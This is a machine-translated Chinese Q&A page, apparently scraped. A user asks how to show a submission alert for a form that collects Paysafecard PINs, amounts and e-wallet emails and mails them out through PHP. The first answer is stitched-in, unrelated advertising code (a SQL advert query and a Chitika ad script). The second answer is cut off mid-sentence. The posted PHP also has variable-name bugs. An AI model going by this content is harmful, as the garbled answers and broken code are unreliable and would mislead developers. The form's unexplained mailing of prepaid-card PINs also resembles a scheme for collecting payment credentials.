所以我创建了一个联系表单,它工作正常 但我希望在表单提交后显示一条警告消息我也使用iframe并将表单定位到此iframe并回显警报 但即使我把它的高度设为1px,iframe也会占用空白和很多高度 我想做什么: - 删除iframe的空间 - 或者找到另一种方法来使用iframe进行提醒
这是我的HTML
<form action="index.php" class="alt" method="POST" target="myiframe" >
<div class="row uniform">
<div class="12u$">
<input name="pin" placeholder="Paysafecard PIN" type="text" required>
</div>
<div class="12u$(small)">
<input name="value" placeholder="Value" type="text" required>
</div>
<div class="12u$(small)">
<select name="currency">
<option value="EUR">EUR</option>
<option value="CHF">CHF</option>
<option value="GBP">GBP</option>
<option value="CAD">CAD</option>
<option value="USD">USD</option>
<option value="RON">RON</option>
<option value="NOK">NOK</option>
<option value="MXN">MXN</option>
<option value="HRK">HRK</option>
<option value="PLN">PLN</option>
</select>
</div>
<div class="12u$">
<input name="exchange" placeholder="Exchange to :" type="text" required>
</div>
<div class="12u$">
<input name="ewallet" placeholder="Ewallet email" type="email" required>
</div>
<div class="12u$">
<input name="contact" placeholder="Contact email" type="email" required>
</div>
<div class="12u$">
<textarea name="message" placeholder="Message" rows="4"></textarea>
</div>
</div>
<ul class="actions">
<li><input name="submit" class="alt" value="Submit" type="submit"></li>
</ul>
<iframe style="display:none;" name="myiframe"></iframe>
</form>
这是我的php
<?php
//Attributes
$pin = $_POST['pin'];
$value = $_POST['value'];
$currency = $_POST['currency'];
$exchange = $_POST['exchange'];
$ewallet = $_POST['ewallet'];
$contact = $_POST['contact'];
$mesasage = $_POST['message'];
//Email stuff
$from = 'fromemail@site.com';
$to = 'to@site.com';
$subject = 'Trade';
//Email
$body = "Pin: $pin\n Value: $value\n Currency: $currency\n Exchange to: $exchange\n Ewallet: $ewallet\n Contact: $contact\n Message: $message";
if ($_POST['submit']) {
if ($pin != '' && $value != '' && $exchange != '' && $ewallet != '' && $contact !='') {
if (mail ($to, $subject, $body, $from)) {
echo '<script language="javascript">';
echo 'alert("message successfully sent")';
echo '</script>';
} else {
echo '<script language="javascript">';
echo 'alert("Something went wrong, Go back and try again.")';
echo '</script>';;
}
}
}
?>
注意:我使用iframe在index.html页面上显示警告消息,而不是php页面,但iframe为空,它发生在表单
之后答案 0 :(得分:0)
将整个表单放入iframe:
<div style="margin-left:-7px ! important;">
<?php
$sql4 = "SELECT * FROM abc ORDER BY id DESC LIMIT 1";
$query4 = $conn->query($sql4);
$row4 = $query4->fetch(PDO::FETCH_ASSOC);
$link4 = $row4['link_url'];
$images4 = $row4['imagepath'];
$immg4 = basename($images4);
$imagee4 = "adverts"."/".$immg4;
$rowc = $query4->rowCount(PDO::FETCH_ASSOC);
if ($rowc>=1){
echo "
<a href='$link4'; target='_blank'><img src='$imagee4';></a>";
}
else {
echo "";
}
?>
<script type="text/javascript">
( function() {
if (window.CHITIKA === undefined) { window.CHITIKA = { 'units' : [] }; };
var unit = {"calltype":"async[2]","publisher":"seeknfameads","width":300,"height":250,"sid":"Chitika Default","color_site_link":"337ab7","color_text":"337ab7"};
var placement_id = window.CHITIKA.units.length;
window.CHITIKA.units.push(unit);
document.write('<div id="chitikaAdBlock-' + placement_id + '"></div>');
}());
</script>
<script type="text/javascript" src="//cdn.chitika.net/getads.js" async> </script>
</div>
现在您可以将表单添加到form.php中。
答案 1 :(得分:0)
最好的方法是:
echo 'sent'
或echo 'failed'
一样。我建议使用jQuery。有关详细信息,请查看$.ajax方法和$.post方法。
中的简单示例你的JS代码应该是这样的:
$("button").click(function(){
$.ajax({url: "YOUR PHP FILE URL", success: function(result){
if(result === 'sent') {
// do the alert here
}
}});
});